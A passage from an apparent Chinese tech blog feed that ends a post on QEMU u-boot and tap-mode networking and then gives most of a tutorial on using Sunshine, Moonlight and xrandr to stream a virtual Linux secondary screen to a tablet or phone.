&lt;p&gt;对于启动的 u-boot 镜像，可以采用静态配置的方式启动 kernel 镜像：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;(u-boot) setenv ipaddr 192.168.1.1
(u-boot) setenv netmask 255.255.255.0
(u-boot) setenv gatewayip 192.168.1.2
(u-boot) setenv loadaddr 0x8xxxxxxx
(u-boot) setenv serverip localhost
(u-boot) setenv bootfile uImage_name
(u-boot) tftpboot
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也可以采用动态获取的方式启动 kernel 镜像：（前提是已经在qemu参数中配置了 bootfile=uImage_name）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;(u-boot) dhcp 0x8xxxxxxx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Limitations&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Slirp&quot;&gt;slirp&lt;&#x2F;a&gt; 架构（user networking）的网络拓扑作为默认开启选项，本质上是QEMU内置的DHCP服务器，配置简单，但延展性不强，不支持ICMPv6，性能和实用性均受到局限，See &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;QEMU%23User-mode_networking&quot;&gt;User-mode networking&lt;&#x2F;a&gt; for more details，并且它是以 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Network_address_translation&quot;&gt;NAT&lt;&#x2F;a&gt;（Network Address Translation）为基础实现的，其中存在的问题和限制，请参&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Slirp%23Limitations&quot;&gt;slirp#limitations&lt;&#x2F;a&gt; 或 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Network_address_translation%23Issues_and_limitations&quot;&gt;Issues and limitations&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-tap-mo-shi&quot;&gt;3.2 tap 模式&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;已验证&lt;&#x2F;strong&gt;的选项参数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;id=STR: 网络唯一标识
fd=H:
fds=X:Y:…:Z:
ifname=NAME: tap设备的名称
script=FILE:
downscript=DFILE:
br=BRIDGE:
helper=HELPER:
sndbuf=NBYTES:
vnet_hdr=[on|off]:
vhost=[on|off]:
vhostfd=H:
vhostfds=x:y:...:z:
vhostforce=[on|off]:
queues=n:
poll-us=n:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;举例：（搭建类似 SLiRP 架构的网络，与 host 主机外网连通）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;sudo qemu-system-riscv64 -M sifive_u -m 256M -bios fw_payload.elf -kernel uImage -nic tap,id=net0,ifname=tap0,script=no,downscript=no
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过该方式启动QEMU并不会配置完整的拓扑网络。&lt;&#x2F;p&gt;
&lt;p&gt;在本次测试中，相关的 interface 名称：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;interface&lt;&#x2F;th&gt;&lt;th&gt;description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;enp1s0&lt;&#x2F;td&gt;&lt;td&gt;host 物理网卡&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;tap0&lt;&#x2F;td&gt;&lt;td&gt;qemu 创建的分路设备&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;eth0&lt;&#x2F;td&gt;&lt;td&gt;guest 虚拟网卡&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;相关的ip&#x2F;mask 信息：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;ip&#x2F;mask&lt;&#x2F;th&gt;&lt;th&gt;description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;10.12.192.1&#x2F;20&lt;&#x2F;td&gt;&lt;td&gt;host gateway&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;10.12.192.96&#x2F;20&lt;&#x2F;td&gt;&lt;td&gt;host ip&#x2F;mask&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;192.168.1.1&#x2F;24&lt;&#x2F;td&gt;&lt;td&gt;tap0 ip&#x2F;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?q=mask&amp;amp;zhida_source=entity&amp;amp;is_preview=1&quot;&gt;mask&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=http%3A&#x2F;&#x2F;192.168.1.xxx&#x2F;24&quot;&gt;http:&#x2F;&#x2F;192.168.1.xxx&#x2F;24&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;guest ip&#x2F;mask&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;相关的操作：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;qemu-networking&#x2F;qemu-tap-network-setup.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Sunshine + Moonlight 纯软件实现全平台设备作 Linux 副屏</title>
        <published>2024-09-12T00:00:00+00:00</published>
        <updated>2024-09-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/sunshine-moonlight-纯软件实现全平台设备作-linux-副屏/"/>
        <id>https://vercel.juzhong.asia/obsidian/sunshine-moonlight-纯软件实现全平台设备作-linux-副屏/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/sunshine-moonlight-纯软件实现全平台设备作-linux-副屏/">&lt;h1 id=&quot;sunshine-moonlight-chun-ruan-jian-shi-xian-quan-ping-tai-she-bei-zuo-linux-fu-ping&quot;&gt;Sunshine + Moonlight 纯软件实现全平台设备作 Linux 副屏&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;tags&#x2F;#linux&quot;&gt;Linux&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;tags&#x2F;#%E7%AC%94%E8%AE%B0%E6%9C%AC&quot;&gt;笔记本&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;tags&#x2F;#sunshine&quot;&gt;Sunshine&lt;&#x2F;a&gt;## Sunshine + Moonlight 纯软件实现全平台设备作 Linux 副屏&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;01&#x2F;16&#x2F;sunshine-moonlight-to-create-a-virtual-monitor&#x2F;#sunshine--moonlight-%E7%BA%AF%E8%BD%AF%E4%BB%B6%E5%AE%9E%E7%8E%B0%E5%85%A8%E5%B9%B3%E5%8F%B0%E8%AE%BE%E5%A4%87%E4%BD%9C-linux-%E5%89%AF%E5%B1%8F&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最近，我想要通过视频学习一些技术知识，作为笔记本用户，没有外接屏幕显然是十分痛苦的，需要不断切换窗口，并且还会互相遮挡。于是我便萌生了使用身边的平板和手机作为副屏的想法。经过一番查找，发现各种千奇百怪的方法，有的付费，有的卡顿，最主要的就是：大部分方案是基于 Windows 系统的。在其中，我发现 Moonlight 串流方案基于全平台。在此基础上，我解决了一些问题，成功完成副屏延伸。&lt;&#x2F;p&gt;
&lt;p&gt;在本文中，Moonlight 只是一种串流方案，其实并非本文的重点。想知道重点在哪里吗？那就接着往下看！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chu-shi-moonlightp&quot;&gt;初识 Moonlight&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;01&#x2F;16&#x2F;sunshine-moonlight-to-create-a-virtual-monitor&#x2F;#%E5%88%9D%E8%AF%86-moonlight&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;在完成一系列副屏投屏操作前，我还是先简单介绍一下 Moonlight，这是一个串流软件，可以接收电脑屏幕上的内容和声音，并且可以反过来操控电脑。首先先要了解一点的是：&lt;strong&gt;Moonlight 是一个客户端软件&lt;&#x2F;strong&gt;，换句话说就是，Moonlight 应该安装在手机平板之类的“主控机”上，而不是像我电脑那样的“受控机”。那么显然，想要接收到电脑发出的串流信息，电脑本身必须要有一个服务端软件来发送串流。下面就是一个大坑。&lt;&#x2F;p&gt;
&lt;p&gt;我第一次接触到 Moonlight 的时候，是在研究 Steamlink 的平替，那个时候，我想要一个不同于 Steamlink 的方案，用来手机连接电脑玩一些 steam 上的视觉小说游戏  &lt;del&gt;(嗯，也就是 galgame)&lt;&#x2F;del&gt; ，而网上有关方案，大部分都推荐 Moonlight，但是所有这类文章，无一不陈述一个所谓的建议：&lt;strong&gt;建议使用 N卡 的用户使用 Moonlight 串流，并且开启 Nvidia Geforce 上的一个 SHIELD 功能&lt;&#x2F;strong&gt;，利用那个玩意作为电脑上的串流服务端，配套上如今 SHIELD 功能消失的解决方法，可谓井井有条，方案详细。一言以蔽之：&lt;strong&gt;脱裤子放屁&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;原谅我话说那么难听，但是铺天盖地的 Nvidia Shield 的方案不仅难用，而且缺少了国内的支持，最主要的是我当时没有成功串流，只好放弃 Moonlight 方案，继续 Steamlink。如此方案，混淆了我的视听，让我没能深究背后的那个&lt;strong&gt;备用方案&lt;&#x2F;strong&gt;。直到我更换了 Fedora 这个 Linux 发行版作为主力操作系统，我在很清楚 Linux 上面没有 Nvidia Geforce Experience 这个软件的情况下，排除了一切有关这个的方案继续探究 Moonlight，这才找到 Moonlight 是有一个配套的服务端 —— Sunshine 的。&lt;&#x2F;p&gt;
&lt;p&gt;很显然，作为一个连接串流用的软件，有一个专用的配套的服务端，才更加符合我们的常识。事实也证明了，&lt;strong&gt;局域网下 Sunshine + Moonlight 方案，拥有无异于物理显示屏的体验&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bu-shu-sunshine-fu-wu-duan-yu-moonlight-ke-hu-duan-p&quot;&gt;部署 Sunshine 服务端与 Moonlight 客户端&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;01&#x2F;16&#x2F;sunshine-moonlight-to-create-a-virtual-monitor&#x2F;#%E9%83%A8%E7%BD%B2-sunshine-%E6%9C%8D%E5%8A%A1%E7%AB%AF%E4%B8%8E-moonlight-%E5%AE%A2%E6%88%B7%E7%AB%AF&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;想要完成副屏的连接，第一步就是要完成手机与电脑间最最最基本的串流，也就是同屏串流。其基本效果和 Steamlink 一致，都是能将电脑的视频音频转发到手机上，并且手机上也有办法操控电脑。现在可以在我们的 Linux 系统上部署 Sunshine 服务端了。&lt;&#x2F;p&gt;
&lt;p&gt;首先我们来到 Sunshine 的 Github 官网：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;LizardByte&#x2F;Sunshine&#x2F;releases&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;LizardByte&#x2F;Sunshine&#x2F;releases&lt;&#x2F;a&gt;，可以看到有几十种不同的发行包，支持 Linux 各大发行版和 Windows 版本，不确定支不支持 MacOS。但最重要的是，无论是 Sunshine 还是 Moonlight，都提供 AppImage 版本的软件包，不同于各大发行版上的包管理器，这种软件包是真正意义上的跨发行版，全 Linux 统一使用。因为我使用的是 Fedora 39, 不确定用官方提供的 38 版本的包会不会出问题，就统一采用了 AppImage 包。现在，下载下来改个名字放在你用户的 bin 目录下。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mv ~&amp;#x2F;下载&amp;#x2F;sunshine.AppImage ~&amp;#x2F;bin&amp;#x2F;sunshine
chmod 755 ~&amp;#x2F;bin&amp;#x2F;sunshine
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;本例中的 &lt;code&gt;~&#x2F;bin&#x2F;&lt;&#x2F;code&gt; 目录应当是一个你方便管理的，并且处在 PATH 环境变量下，方便你直接终端输入运行。在我的电脑上，我设置为 &lt;code&gt;~&#x2F;bin&lt;&#x2F;code&gt; 而不是 &lt;code&gt;~&#x2F;bin&#x2F;.local&#x2F;bin&lt;&#x2F;code&gt;来方便我管理。如果你采用的是 zsh 作为 默认 shell, 你可能已经把这个目录作为执行目录了，请自行 &lt;code&gt;echo $PATH&lt;&#x2F;code&gt; 查看。&lt;&#x2F;p&gt;
&lt;p&gt;接下来，终端运行 &lt;code&gt;sunshine&lt;&#x2F;code&gt; 命令，你就会发现你桌面右下角的系统托盘上多了一处地方，可以右键打开 web 管理器。为什么要这么描述？因为在我的电脑上，sunshine 在系统托盘上根本没有图标。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;sunshine-moonlight-screen&#x2F;sunshine-system-tray.jpg&quot; alt=&quot;sunshine 任务栏&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;刚换 Linux, 这上面的 qq 截图死活截不到右键菜单，无奈，请选择你的拍屏导师.jpg&lt;&#x2F;p&gt;
&lt;p&gt;点击任务栏上面的那个 Open Sunshine，你就会被跳转到 Sunshine 的web 管理页面，会要求你新建一个账户和密码。这一套账号密码是用来以后登陆后台管理的，与 Moonlight 主控机那边无关。毕竟串流相当于全权交出电脑管理权限，web 页面的端口号要是爆了，能访问到你电脑的陌生设备可就能来帮你管理电脑了，所以设置账号密码也很重要。&lt;&#x2F;p&gt;
&lt;p&gt;小贴士&lt;&#x2F;p&gt;
&lt;p&gt;你要是忘了账号密码，可以直接终端输入 &lt;code&gt;sunshine --creds&lt;&#x2F;code&gt; 重置新的账号密码。&lt;&#x2F;p&gt;
&lt;p&gt;其实挺好玩，毕竟这一套帐密系统说是有账号密码，其实就是要你依次输入两个密码，我看不到账号的作用在哪里。&lt;&#x2F;p&gt;
&lt;p&gt;然后就是 Moonlight 主控端了，在任意一个你想要作为副屏的设备，比如手机、安卓平板、ipad、另一台电脑、甚至是 Steamdeck 和 Switch，都可以下载安装 Moonlight。各个平台不再赘述，操作方法大同小异。在安装完成 Moonlight 后，&lt;strong&gt;先确保设备和电脑连接在同一个路由器下&lt;&#x2F;strong&gt;，然后，打开 Moonlight ，等待软件找到你的电脑 Host。如果找不到，直接 IP 连接也是一个好主意。&lt;&#x2F;p&gt;
&lt;p&gt;吐槽&lt;&#x2F;p&gt;
&lt;p&gt;如果你在确认同一个网段下，确实无法连接到电脑，可以选择检查你电脑的防火墙设置。和 Windows 下的防火墙不一样，Linux 下的防火墙是基于端口和 tcp&#x2F;udp 协议的。毕竟个人桌面电脑不会跑什么公网服务，为了图省事，我直接把 firewalld 给 disable 了。&lt;&#x2F;p&gt;
&lt;p&gt;当你第一次连接到电脑时，Moonlight 会给出一个 PIN 码要求服务端确认。你可以点击右下角的弹窗提醒，也可以手动进入到 web 后台输入 PIN 码。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;sunshine-moonlight-screen&#x2F;moonlight-pin-pairing-webui.png&quot; alt=&quot;image-20240115215240866&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;根据终端命令给出的提示，你似乎还可以通过 &lt;code&gt;sunshine -0 xxxx&lt;&#x2F;code&gt; 这样的方式在终端输入 PIN 码来连接，但是我还没有测试。&lt;&#x2F;p&gt;
&lt;p&gt;如果一切顺利，你应该能够看到手机和电脑的画面同步了，并且手机上滑动屏幕还能操控鼠标移动。如果手机或平板有外接键盘，你甚至可以用那个键盘来打字。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chuang-jian-xu-ni-xian-shi-ping-p&quot;&gt;创建虚拟显示屏&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;01&#x2F;16&#x2F;sunshine-moonlight-to-create-a-virtual-monitor&#x2F;#%E5%88%9B%E5%BB%BA%E8%99%9A%E6%8B%9F%E6%98%BE%E7%A4%BA%E5%B1%8F&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;如果你是试图在 Linux 上串流游戏的，那么到这也就结束了。但我们目的并不停滞于此，我们想要的是一个副屏，能够把手机平板当作电脑显示屏的方案。很明显，我们现在只能手机电脑同步画面，想要一个新的显示屏用来串流，我们采用什么方法呢？&lt;strong&gt;这才是本文的重点&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;在网上一部分的教程中，有人提出使用 HDMI 欺骗器用来创建一个屏幕。作为 Linux 系统，几乎所有设备都可以虚拟一个，那么还要连接一个欺骗器的方案肯定不符合我们的预期，我们需要一个纯软件的方案。一部分教程给出了一些第三方虚拟屏幕软件，基本都是 Windows 下的，既然是设备层面地去虚拟一个显示器，用 wine 去兼容的方案肯定不符合预期。还有一个方案提出下载一个叫 virtscreen 的应用，它有 AppImage 的包，很可惜它无法在我的设备上运行，即使我的系统完全符合要求，更何况这个软件局限于 Xorg 的 X11 桌面，不支持 Wayland。&lt;&#x2F;p&gt;
&lt;p&gt;最后，我在一个叫做 deskreen 的副屏方案的 issue 区找到了一个建立副屏的方案：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pavlobu&#x2F;deskreen&#x2F;issues&#x2F;42&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;pavlobu&#x2F;deskreen&#x2F;issues&#x2F;42&lt;&#x2F;a&gt;。他采用了 Linux 下 X 桌面原生的屏幕管理器 &lt;code&gt;xrandr&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;。虽然同样不支持 Wayland，但是我相信 Wayland 下一定有一个对位的管理器可以用类似的方法实现本文方案。&lt;&#x2F;p&gt;
&lt;p&gt;小贴士&lt;&#x2F;p&gt;
&lt;p&gt;据 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.chyk.ink&#x2F;2022&#x2F;07&#x2F;17&#x2F;linux-virtual-display&#x2F;&quot;&gt;千雪的咖啡厅&lt;&#x2F;a&gt; 博客下描述，Wayland 用户应该可以用一个叫做 &lt;code&gt;krfb-virtualmonitor&lt;&#x2F;code&gt; 的命令行工具来创建虚拟显示屏，有可能比 X11 还要快。&lt;&#x2F;p&gt;
&lt;p&gt;这里提到了 deskreen 这个方案，但是我没有使用，可能是因为我不太喜欢用 web 这样的形式来扩展副屏，显得怪怪的。&lt;&#x2F;p&gt;
&lt;p&gt;现在我们打开终端，输入 &lt;code&gt;xrandr&lt;&#x2F;code&gt; ，就可以看到 X11 桌面下，你目前已经连接了几个显示屏。在正常情况下，你一般只会有一个显示屏显示 &lt;code&gt;connected&lt;&#x2F;code&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;sunshine-moonlight-screen&#x2F;xrandr-connected-displays.png&quot; alt=&quot;image-20240116132622658&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在我的电脑上，显示已经连接了一个叫做 &lt;code&gt;eDP&lt;&#x2F;code&gt; 的屏幕，紧跟着一堆 &lt;code&gt;DisplayPort&lt;&#x2F;code&gt; ，因为我的电脑是笔记本，所以是这个样子。根据电脑不同，这些名字还可能会有诸如 &lt;code&gt;HDMI-0&lt;&#x2F;code&gt; 、&lt;code&gt;DVI-D-0&lt;&#x2F;code&gt; 之类的设备名。&lt;&#x2F;p&gt;
&lt;p&gt;在图中，我们还能看到 &lt;code&gt;DisplayPort-0&lt;&#x2F;code&gt; 下面已经有了一个类似分辨率的东西，这是因为我已经配置完了，否则这一项会和下面的 1-7 完全一样。在这里你也能看到 &lt;code&gt;165.00&lt;&#x2F;code&gt; 旁边有一个 &lt;code&gt;*&lt;&#x2F;code&gt; 号，这表示这块屏幕已经向外输出视频了。&lt;&#x2F;p&gt;
&lt;p&gt;小贴士&lt;&#x2F;p&gt;
&lt;p&gt;在这里，我们采用的是现有的未连接通道，如果你不想要如此使用，而是自己虚拟一个显示屏，又或者是确实没有空余的未连接通道，你可以移步至千雪大佬的博客：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.chyk.ink&#x2F;2022&#x2F;07&#x2F;17&#x2F;linux-virtual-display&#x2F;&quot;&gt;千雪的咖啡厅&lt;&#x2F;a&gt;，那里会有新建一个显示屏的方法&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;xrandr --addmode DisplayPort-0 1920x1080
xrandr --output DisplayPort-0 --mode 1920x1080 --left-of eDP
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;核心命令就是这么两行，&lt;strong&gt;不要直接复制粘贴，请先往下看，然后根据自己的电脑情况修改参数&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;其中第一行表示给 &lt;code&gt;DisplayPort-0&lt;&#x2F;code&gt; 添加一个分辨率 mode，然后第二行就是要求这块屏幕输出内容了。那么这块屏幕应当与主屏幕连接以作为副屏使用，我们需要为它安排一个位置，注意最后两个参数 &lt;code&gt;--left-of eDP&lt;&#x2F;code&gt; ，很好理解，第一个参数就是表明我们创建的新屏幕应当放在第二个参数（我们主屏幕）的哪一个方位。本例中就是把副屏放在主屏幕的左边。这个方位一般有四种：&lt;code&gt;--left-of&lt;&#x2F;code&gt;、&lt;code&gt;--right-of&lt;&#x2F;code&gt;、&lt;code&gt;--above&lt;&#x2F;code&gt;、&lt;code&gt;--below&lt;&#x2F;code&gt;，这四个参数顾名思义，不多解释。&lt;&#x2F;p&gt;
&lt;p&gt;当你敲完第二个命令的时候，你的屏幕应该会闪烁一下，就跟 Windows 下调整完显示设置那样，整个桌面都刷新了。加入你设置的参数是 &lt;code&gt;--left-of&lt;&#x2F;code&gt; ，那么你把鼠标往最左边移动，就会发现左边的屏幕打通了，可以多往左移动一大段距离，再移回来。很明显，已经成功创建了一个虚拟屏幕。&lt;&#x2F;p&gt;
&lt;p&gt;如果你想关掉这个屏幕，也就是停止输出，可以执行：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;xrandr --output DisplayPort-0 --off
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;xie-yi-ge-chuang-jian-ping-mu-de-jiao-ben-ke-xuan-p&quot;&gt;写一个创建屏幕的脚本（可选）&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;01&#x2F;16&#x2F;sunshine-moonlight-to-create-a-virtual-monitor&#x2F;#%E5%86%99%E4%B8%80%E4%B8%AA%E5%88%9B%E5%BB%BA%E5%B1%8F%E5%B9%95%E7%9A%84%E8%84%9A%E6%9C%AC%E5%8F%AF%E9%80%89&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;这里的一切关于屏幕的改动都不是持久的，也就是说，电脑重启，甚至是桌面重启都会导致设置丢失，新屏幕消失不见。为了方便我们动态管理屏幕，我们不采用持久化的处理，而是写一个方便自己管理的脚本。于是，我利用我学习 shell 时长不到 10min 的技术，勉强写了一个能用的脚本，但确实方便很多。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
xrandr --addmode DisplayPort-0 1920x1080
if [ $# != 1 ]
then
        vmonitor --help
elif [ $1 == &amp;quot;below&amp;quot; ]
then
        xrandr --output DisplayPort-0 --mode 1920x1080 --below eDP
elif [ $1 == &amp;quot;left&amp;quot; ]
then
        xrandr --output DisplayPort-0 --mode 1920x1080 --left-of eDP
elif [ $1 == &amp;quot;right&amp;quot; ]
then
        xrandr --output DisplayPort-0 --mode 1920x1080 --right-of eDP
elif [ $1 == &amp;quot;above&amp;quot; ]
then
        xrandr --output DisplayPort-0 --mode 1920x1080 --above eDP
elif [ $1 == &amp;quot;off&amp;quot; ]
then
        xrandr --output DisplayPort-0 --off
elif [ $1 == &amp;quot;--help&amp;quot; ]
then
        echo &amp;quot;  参数：&amp;quot;
        echo &amp;quot;  below           在主屏幕下方创建一个虚拟屏幕&amp;quot;
        echo &amp;quot;  above           在主屏幕上方创建一个虚拟屏幕&amp;quot;
        echo &amp;quot;  left            在主屏幕左方创建一个虚拟屏幕&amp;quot;
        echo &amp;quot;  right           在主屏幕右方创建一个虚拟屏幕&amp;quot;
        echo &amp;quot;  off             关闭虚拟屏幕&amp;quot;
else
        vmonitor --help
fi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后我再把这个脚本软连接到 &lt;code&gt;~&#x2F;bin&lt;&#x2F;code&gt; 下，这样一来，我就可以方便的用类似于终端命令的方法去快速地创建虚拟屏幕了。比如 &lt;code&gt;vmonitor left&lt;&#x2F;code&gt; 或者是 &lt;code&gt;vmonitor off&lt;&#x2F;code&gt;。各位可以自己去自定义。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jiang-fu-ping-jin-xing-chuan-liu-p&quot;&gt;将副屏进行串流&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;01&#x2F;16&#x2F;sunshine-moonlight-to-create-a-virtual-monitor&#x2F;#%E5%B0%86%E5%89%AF%E5%B1%8F%E8%BF%9B%E8%A1%8C%E4%B8%B2%E6%B5%81&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;现在便是我们的最后一步。我们创建好了一个副屏，鼠标也是顺利地进入了那块地方，但是我们却没有办法看到。现在，拿出平板放在一边，我们要进入 Sunshine 去设置串流位置，也就是说让平板能够显示我们的副屏。&lt;&#x2F;p&gt;
&lt;p&gt;首先是在终端打开 Sunshine, 观察它的输出信息，可以看见有一列的显示屏编号：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;sunshine-moonlight-screen&#x2F;sunshine-display-id-list.png&quot; alt=&quot;image-20240116192259024&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到，我们的 &lt;code&gt;DisplayPort-0&lt;&#x2F;code&gt; 在终端上显示为 1 号，记录一下，这将是我们串流的默认通道。&lt;&#x2F;p&gt;
